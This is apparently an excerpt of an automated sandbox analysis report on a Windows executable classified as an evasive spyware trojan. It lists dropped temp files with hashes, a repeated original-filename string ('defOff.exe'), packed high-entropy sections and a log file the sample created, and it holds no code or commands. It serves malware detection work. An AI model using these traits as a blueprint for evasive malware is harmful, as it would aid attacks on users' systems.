Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Code function: 0_3_007FE043	0_3_007FE043
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Code function: 0_3_007FE043	0_3_007FE043
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Code function: 0_3_007FE043	0_3_007FE043
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Code function: 0_3_007FE043	0_3_007FE043
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Code function: 0_3_007FE043	0_3_007FE043
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Code function: 0_3_007FE043	0_3_007FE043
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Code function: 0_3_007FE043	0_3_007FE043
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Code function: 0_3_007FE043	0_3_007FE043
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Code function: 0_3_007FE043	0_3_007FE043
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Code function: 0_3_007FE043	0_3_007FE043
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Code function: 0_3_007FE043	0_3_007FE043
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Code function: 0_3_007FE043	0_3_007FE043
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Code function: 0_3_007FE043	0_3_007FE043
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Code function: 0_3_007FE043	0_3_007FE043
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Code function: 0_3_007FE043	0_3_007FE043
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Code function: 0_3_007FE043	0_3_007FE043
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Code function: 0_3_007FE043	0_3_007FE043
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Code function: 0_3_007FE043	0_3_007FE043
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Code function: 0_3_007FE043	0_3_007FE043
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Code function: 0_3_007FE043	0_3_007FE043
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Code function: 0_3_007FE043	0_3_007FE043
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Code function: 0_3_007FE043	0_3_007FE043
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Code function: 0_3_007FE043	0_3_007FE043
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Code function: 0_3_007FE043	0_3_007FE043
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Code function: 0_3_007FE043	0_3_007FE043
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Code function: 0_3_007FE043	0_3_007FE043
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Code function: 0_3_007FE043	0_3_007FE043
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Code function: 0_3_007FE043	0_3_007FE043
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Code function: 0_3_007FE043	0_3_007FE043
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Code function: 0_3_007FE043	0_3_007FE043
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Code function: 0_3_007FE043	0_3_007FE043
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Code function: 0_3_007FE043	0_3_007FE043
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Code function: 0_3_007FE043	0_3_007FE043
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Code function: 0_3_007FE043	0_3_007FE043
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Code function: 0_3_007FE043	0_3_007FE043
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Code function: 0_3_007FE043	0_3_007FE043
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Code function: 0_3_007FE043	0_3_007FE043
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Code function: 0_3_007FE043	0_3_007FE043
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Code function: 0_3_007FE043	0_3_007FE043
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Code function: 0_3_007FE043	0_3_007FE043
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Code function: 0_3_007FE043	0_3_007FE043
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Code function: 0_3_007FE043	0_3_007FE043
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Code function: 0_3_007FE043	0_3_007FE043
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Code function: 0_3_007FE043	0_3_007FE043
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Code function: 0_3_007FE043	0_3_007FE043
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Code function: 0_3_007FE043	0_3_007FE043
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Code function: 0_3_007FE043	0_3_007FE043
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Code function: 0_3_007FE043	0_3_007FE043
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Code function: 0_3_007FE043	0_3_007FE043
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Code function: 0_3_007FE043	0_3_007FE043
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Code function: 0_3_007FE043	0_3_007FE043
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Code function: 0_3_007FE043	0_3_007FE043
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Code function: 0_3_007FE043	0_3_007FE043
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Code function: 0_3_007FE043	0_3_007FE043
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Code function: 0_3_007FE043	0_3_007FE043
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Code function: 0_3_007FE043	0_3_007FE043
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Code function: 0_3_007FE043	0_3_007FE043
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Code function: 0_3_007FE043	0_3_007FE043
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Code function: 0_3_007FE043	0_3_007FE043
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Code function: 0_3_007FE043	0_3_007FE043
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Code function: 0_3_007FE043	0_3_007FE043
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Code function: 0_3_007FE043	0_3_007FE043
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Code function: 0_3_007FE043	0_3_007FE043
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Code function: 0_3_007FE043	0_3_007FE043
Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe	Code function: 3_2_0029E2EE	3_2_0029E2EE

Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Temp\0HWKZUKSZQLX9YW6767RJL4WH9XRO2W.exe 3ACD04016A0846F4E6C69D4684AC0A21DC476E63F8E7957FC73CA58C90F40857
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe D8DB10ABDB18394FA74BFB00C68A6AE1A40DE13CF5D0A6620A9A2F1D4571351D

Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe

Code function: String function: 007FE96D appears 82 times

Source: NE4jxHLxXJ.exe, 00000000.00000003.1694113919.0000000005997000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NE4jxHLxXJ.exe
Source: NE4jxHLxXJ.exe, 00000000.00000003.1677602235.0000000005554000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NE4jxHLxXJ.exe
Source: NE4jxHLxXJ.exe, 00000000.00000003.1680603624.000000000590C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NE4jxHLxXJ.exe
Source: NE4jxHLxXJ.exe, 00000000.00000003.1690310294.0000000005986000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NE4jxHLxXJ.exe
Source: NE4jxHLxXJ.exe, 00000000.00000003.1698547506.00000000059B7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NE4jxHLxXJ.exe
Source: NE4jxHLxXJ.exe, 00000000.00000003.1687702044.0000000005980000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NE4jxHLxXJ.exe
Source: NE4jxHLxXJ.exe, 00000000.00000003.1681042096.000000000591E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NE4jxHLxXJ.exe
Source: NE4jxHLxXJ.exe, 00000000.00000003.1683017256.000000000586D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NE4jxHLxXJ.exe
Source: NE4jxHLxXJ.exe, 00000000.00000003.1688008246.000000000597E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NE4jxHLxXJ.exe
Source: NE4jxHLxXJ.exe, 00000000.00000003.1679776426.0000000005911000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NE4jxHLxXJ.exe
Source: NE4jxHLxXJ.exe, 00000000.00000003.1692321306.0000000005867000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NE4jxHLxXJ.exe
Source: NE4jxHLxXJ.exe, 00000000.00000003.1693713178.000000000599E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NE4jxHLxXJ.exe
Source: NE4jxHLxXJ.exe, 00000000.00000003.1689483971.0000000005870000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NE4jxHLxXJ.exe
Source: NE4jxHLxXJ.exe, 00000000.00000003.1687109104.0000000005868000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NE4jxHLxXJ.exe
Source: NE4jxHLxXJ.exe, 00000000.00000003.1687253457.000000000596F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NE4jxHLxXJ.exe
Source: NE4jxHLxXJ.exe, 00000000.00000003.1682129685.0000000005930000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NE4jxHLxXJ.exe
Source: NE4jxHLxXJ.exe, 00000000.00000003.1691073081.0000000005989000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NE4jxHLxXJ.exe
Source: NE4jxHLxXJ.exe, 00000000.00000003.1681428257.000000000586E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NE4jxHLxXJ.exe
Source: NE4jxHLxXJ.exe, 00000000.00000003.1684994950.0000000005870000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NE4jxHLxXJ.exe
Source: NE4jxHLxXJ.exe, 00000000.00000003.1695941815.00000000059AD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NE4jxHLxXJ.exe
Source: NE4jxHLxXJ.exe, 00000000.00000003.1683402739.0000000005940000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NE4jxHLxXJ.exe
Source: NE4jxHLxXJ.exe, 00000000.00000003.1694769507.00000000059BC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NE4jxHLxXJ.exe
Source: NE4jxHLxXJ.exe, 00000000.00000003.1691892532.00000000059A4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NE4jxHLxXJ.exe
Source: NE4jxHLxXJ.exe, 00000000.00000003.1685160739.0000000005964000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NE4jxHLxXJ.exe
Source: NE4jxHLxXJ.exe, 00000000.00000003.1680209477.000000000586C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NE4jxHLxXJ.exe
Source: NE4jxHLxXJ.exe, 00000000.00000003.1677777758.00000000056D0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NE4jxHLxXJ.exe
Source: NE4jxHLxXJ.exe, 00000000.00000003.1690572643.0000000005AB0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NE4jxHLxXJ.exe
Source: NE4jxHLxXJ.exe, 00000000.00000003.1695438435.0000000005869000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NE4jxHLxXJ.exe
Source: NE4jxHLxXJ.exe, 00000000.00000003.1684852233.0000000005958000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NE4jxHLxXJ.exe
Source: NE4jxHLxXJ.exe, 00000000.00000003.1688655747.0000000005981000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NE4jxHLxXJ.exe
Source: NE4jxHLxXJ.exe, 00000000.00000003.1680333893.0000000005907000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NE4jxHLxXJ.exe
Source: NE4jxHLxXJ.exe, 00000000.00000003.1712447304.0000000005449000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NE4jxHLxXJ.exe
Source: NE4jxHLxXJ.exe, 00000000.00000003.1679557944.0000000005913000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NE4jxHLxXJ.exe
Source: NE4jxHLxXJ.exe, 00000000.00000003.1688320992.0000000005981000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NE4jxHLxXJ.exe
Source: NE4jxHLxXJ.exe, 00000000.00000003.1677602235.00000000054D6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NE4jxHLxXJ.exe
Source: NE4jxHLxXJ.exe, 00000000.00000003.1694558995.0000000005875000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NE4jxHLxXJ.exe
Source: NE4jxHLxXJ.exe, 00000000.00000003.1691589566.000000000586B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NE4jxHLxXJ.exe
Source: NE4jxHLxXJ.exe, 00000000.00000003.1689178600.0000000005874000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NE4jxHLxXJ.exe
Source: NE4jxHLxXJ.exe, 00000000.00000003.1691332083.0000000005AB1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NE4jxHLxXJ.exe
Source: NE4jxHLxXJ.exe, 00000000.00000003.1681529275.000000000591E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NE4jxHLxXJ.exe
Source: NE4jxHLxXJ.exe, 00000000.00000003.1697992889.0000000005868000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NE4jxHLxXJ.exe
Source: NE4jxHLxXJ.exe, 00000000.00000003.1682748661.0000000005871000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NE4jxHLxXJ.exe
Source: NE4jxHLxXJ.exe, 00000000.00000003.1686819637.0000000005866000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NE4jxHLxXJ.exe
Source: NE4jxHLxXJ.exe, 00000000.00000003.1714531965.0000000005B34000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NE4jxHLxXJ.exe
Source: NE4jxHLxXJ.exe, 00000000.00000003.1679666536.0000000005872000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NE4jxHLxXJ.exe
Source: NE4jxHLxXJ.exe, 00000000.00000003.1685845525.0000000005869000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NE4jxHLxXJ.exe
Source: NE4jxHLxXJ.exe, 00000000.00000003.1689032047.0000000005A9A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NE4jxHLxXJ.exe
Source: NE4jxHLxXJ.exe, 00000000.00000003.1684436859.0000000005954000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NE4jxHLxXJ.exe
Source: NE4jxHLxXJ.exe, 00000000.00000003.1680472211.0000000005869000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NE4jxHLxXJ.exe
Source: NE4jxHLxXJ.exe, 00000000.00000003.1686394590.0000000005975000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NE4jxHLxXJ.exe
Source: NE4jxHLxXJ.exe, 00000000.00000003.1685661369.0000000005963000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NE4jxHLxXJ.exe
Source: NE4jxHLxXJ.exe, 00000000.00000003.1679420317.0000000005871000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NE4jxHLxXJ.exe
Source: NE4jxHLxXJ.exe, 00000000.00000003.1695228375.00000000059AC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NE4jxHLxXJ.exe
Source: NE4jxHLxXJ.exe, 00000000.00000003.1678030222.0000000005913000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NE4jxHLxXJ.exe
Source: NE4jxHLxXJ.exe, 00000000.00000003.1682612606.000000000593A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NE4jxHLxXJ.exe
Source: NE4jxHLxXJ.exe, 00000000.00000003.1696597406.0000000005AFD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NE4jxHLxXJ.exe
Source: NE4jxHLxXJ.exe, 00000000.00000003.1681886246.00000000059DC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NE4jxHLxXJ.exe
Source: NE4jxHLxXJ.exe, 00000000.00000003.1687553334.0000000005870000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NE4jxHLxXJ.exe
Source: NE4jxHLxXJ.exe, 00000000.00000003.1696948966.0000000005867000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NE4jxHLxXJ.exe
Source: NE4jxHLxXJ.exe, 00000000.00000003.1686114302.0000000005A51000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NE4jxHLxXJ.exe
Source: NE4jxHLxXJ.exe, 00000000.00000003.1689343679.0000000005986000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NE4jxHLxXJ.exe
Source: NE4jxHLxXJ.exe, 00000000.00000003.1684579143.0000000005A44000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NE4jxHLxXJ.exe
Source: NE4jxHLxXJ.exe, 00000000.00000003.1693534997.000000000586A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NE4jxHLxXJ.exe
Source: NE4jxHLxXJ.exe, 00000000.00000003.1682015605.000000000586F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NE4jxHLxXJ.exe
Source: NE4jxHLxXJ.exe, 00000000.00000003.1680077970.000000000590F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NE4jxHLxXJ.exe
Source: NE4jxHLxXJ.exe, 00000000.00000003.1681766804.0000000005923000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NE4jxHLxXJ.exe
Source: NE4jxHLxXJ.exe, 00000000.00000003.1687403376.0000000005A81000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NE4jxHLxXJ.exe
Source: NE4jxHLxXJ.exe, 00000000.00000003.1683274671.0000000005869000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NE4jxHLxXJ.exe
Source: NE4jxHLxXJ.exe, 00000000.00000003.1697310023.00000000059B9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NE4jxHLxXJ.exe
Source: NE4jxHLxXJ.exe, 00000000.00000003.1684314263.0000000005869000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NE4jxHLxXJ.exe
Source: NE4jxHLxXJ.exe, 00000000.00000003.1683646094.0000000005869000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NE4jxHLxXJ.exe
Source: NE4jxHLxXJ.exe, 00000000.00000003.1679901423.0000000005872000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NE4jxHLxXJ.exe
Source: NE4jxHLxXJ.exe, 00000000.00000003.1684043553.000000000586C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NE4jxHLxXJ.exe
Source: NE4jxHLxXJ.exe, 00000000.00000003.1679310081.00000000056CC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NE4jxHLxXJ.exe
Source: NE4jxHLxXJ.exe, 00000000.00000003.1677910101.0000000005875000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NE4jxHLxXJ.exe
Source: NE4jxHLxXJ.exe, 00000000.00000003.1685983404.0000000005957000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NE4jxHLxXJ.exe
Source: NE4jxHLxXJ.exe, 00000000.00000003.1684174758.000000000594F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NE4jxHLxXJ.exe
Source: NE4jxHLxXJ.exe, 00000000.00000003.1686703006.000000000596A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NE4jxHLxXJ.exe
Source: NE4jxHLxXJ.exe, 00000000.00000003.1688489879.000000000586B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NE4jxHLxXJ.exe
Source: NE4jxHLxXJ.exe, 00000000.00000003.1683149450.0000000005940000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NE4jxHLxXJ.exe
Source: NE4jxHLxXJ.exe, 00000000.00000003.1688162342.000000000586C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NE4jxHLxXJ.exe
Source: NE4jxHLxXJ.exe, 00000000.00000003.1681164508.000000000586B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NE4jxHLxXJ.exe
Source: NE4jxHLxXJ.exe, 00000000.00000003.1687853513.000000000586C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NE4jxHLxXJ.exe
Source: NE4jxHLxXJ.exe, 00000000.00000003.1683778406.000000000593E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NE4jxHLxXJ.exe
Source: NE4jxHLxXJ.exe, 00000000.00000003.1681643736.0000000005866000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NE4jxHLxXJ.exe
Source: NE4jxHLxXJ.exe, 00000000.00000003.1712021511.000000000547E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NE4jxHLxXJ.exe
Source: NE4jxHLxXJ.exe, 00000000.00000003.1712088200.000000000540C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NE4jxHLxXJ.exe
Source: NE4jxHLxXJ.exe, 00000000.00000003.1679199535.0000000005873000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NE4jxHLxXJ.exe
Source: NE4jxHLxXJ.exe, 00000000.00000003.1686249500.000000000586F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NE4jxHLxXJ.exe
Source: NE4jxHLxXJ.exe, 00000000.00000003.1684716843.0000000005874000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NE4jxHLxXJ.exe
Source: NE4jxHLxXJ.exe, 00000000.00000003.1692754194.000000000599D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NE4jxHLxXJ.exe
Source: NE4jxHLxXJ.exe, 00000000.00000003.1681291959.000000000591F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NE4jxHLxXJ.exe
Source: NE4jxHLxXJ.exe, 00000000.00000003.1680903398.0000000005873000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NE4jxHLxXJ.exe
Source: NE4jxHLxXJ.exe, 00000000.00000003.1683522232.0000000005A12000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NE4jxHLxXJ.exe
Source: NE4jxHLxXJ.exe, 00000000.00000003.1685326738.0000000005869000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NE4jxHLxXJ.exe
Source: NE4jxHLxXJ.exe, 00000000.00000003.1686549455.000000000586F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NE4jxHLxXJ.exe
Source: NE4jxHLxXJ.exe, 00000000.00000003.1694351529.0000000005AD0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NE4jxHLxXJ.exe
Source: NE4jxHLxXJ.exe, 00000000.00000003.1682888176.0000000005940000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NE4jxHLxXJ.exe
Source: NE4jxHLxXJ.exe, 00000000.00000003.1682351436.00000000059F5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NE4jxHLxXJ.exe
Source: NE4jxHLxXJ.exe, 00000000.00000003.1690806366.000000000586A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NE4jxHLxXJ.exe
Source: NE4jxHLxXJ.exe, 00000000.00000003.1680772856.00000000059C4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NE4jxHLxXJ.exe
Source: NE4jxHLxXJ.exe, 00000000.00000003.1693926708.0000000005866000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NE4jxHLxXJ.exe
Source: NE4jxHLxXJ.exe, 00000000.00000003.1694994125.000000000586F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NE4jxHLxXJ.exe
Source: NE4jxHLxXJ.exe, 00000000.00000003.1683911603.0000000005A19000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NE4jxHLxXJ.exe
Source: NE4jxHLxXJ.exe, 00000000.00000003.1682489275.0000000005875000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NE4jxHLxXJ.exe
Source: NE4jxHLxXJ.exe, 00000000.00000003.1686956630.0000000005966000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs NE4jxHLxXJ.exe

Source: NE4jxHLxXJ.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: NE4jxHLxXJ.exe	Static PE information: Section: ZLIB complexity 0.9972843535958904
Source: NE4jxHLxXJ.exe	Static PE information: Section: qnewshqh ZLIB complexity 0.9948259217152736

Source: 0HWKZUKSZQLX9YW6767RJL4WH9XRO2W.exe.0.dr

Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@5/3@1/3

Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe.log

Jump to behavior

